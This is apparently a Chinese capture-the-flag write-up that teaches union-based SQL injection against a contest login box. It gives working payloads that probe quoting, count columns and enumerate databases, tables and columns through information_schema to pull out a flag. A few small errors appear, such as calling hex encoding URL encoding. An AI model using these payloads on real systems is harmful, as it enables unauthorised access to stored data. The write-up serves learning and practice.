SQL入门
校赛题sql注入
看到一个框框在右上角,开始尝试注入
输入 1’
报错!
输入 1"
没报错!
输入 ’ union select 1,2#
'是为了闭合前面的单引号
#是为了注释掉后面有的东西
中间的语句就是一条普通的查询语句查询出数据库有多少列,当输入为select 1或者select 1,2,3时都会报错,只有这样才不报错
所以有两列
’ union select 1,group_concat(schema_name) from information_schema.schemata#
爆出所有数据库名称!
因为只有两列,所以select后面只能跟两个量
前面一个随意,另一个
group_concat(schema_name)是将所有数据库名打印并用逗号隔开
information_schema.schemata是储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
得到两个,一看便知ctf是我们要找的数据库
’ union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’#
爆出所有数据表名称!
TABLE_NAME是数据表名称
information_schema.TABLES是储存数据表的地方
TABLE_SCHEMA='ctf’是从取数据库名为ctf中的数据表名
如果ctf不用单引号括起来,就要用url编码一下 TABLE_SCHEMA=0x637466
得到两个数据库,gwht看着像,于是知道gwht是我们要找的数据表
’ union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=‘gwht’#
爆出数据表的所有字段名称!
COLUMN_NAME就是字段名称
information_schema.COLUMNS是储存字段名称的地方
TABLE_NAME='gwht’是刚刚爆出来的表名称
如果gwht不用单引号括起来,就要用url编码一下
终于看到flag了,fl4444g是表中一个字段的名称,估计其中的值就是我们的答案了
’ union select fl4444g,2 from ctf.gwht#
爆值!
fl4444g是刚刚爆出来的字段名称
from后面跟的是数据库名.数据表名,也就是上两个步骤爆出来的值,ctf.gwht
得到答案!
GWHT{[email protected]}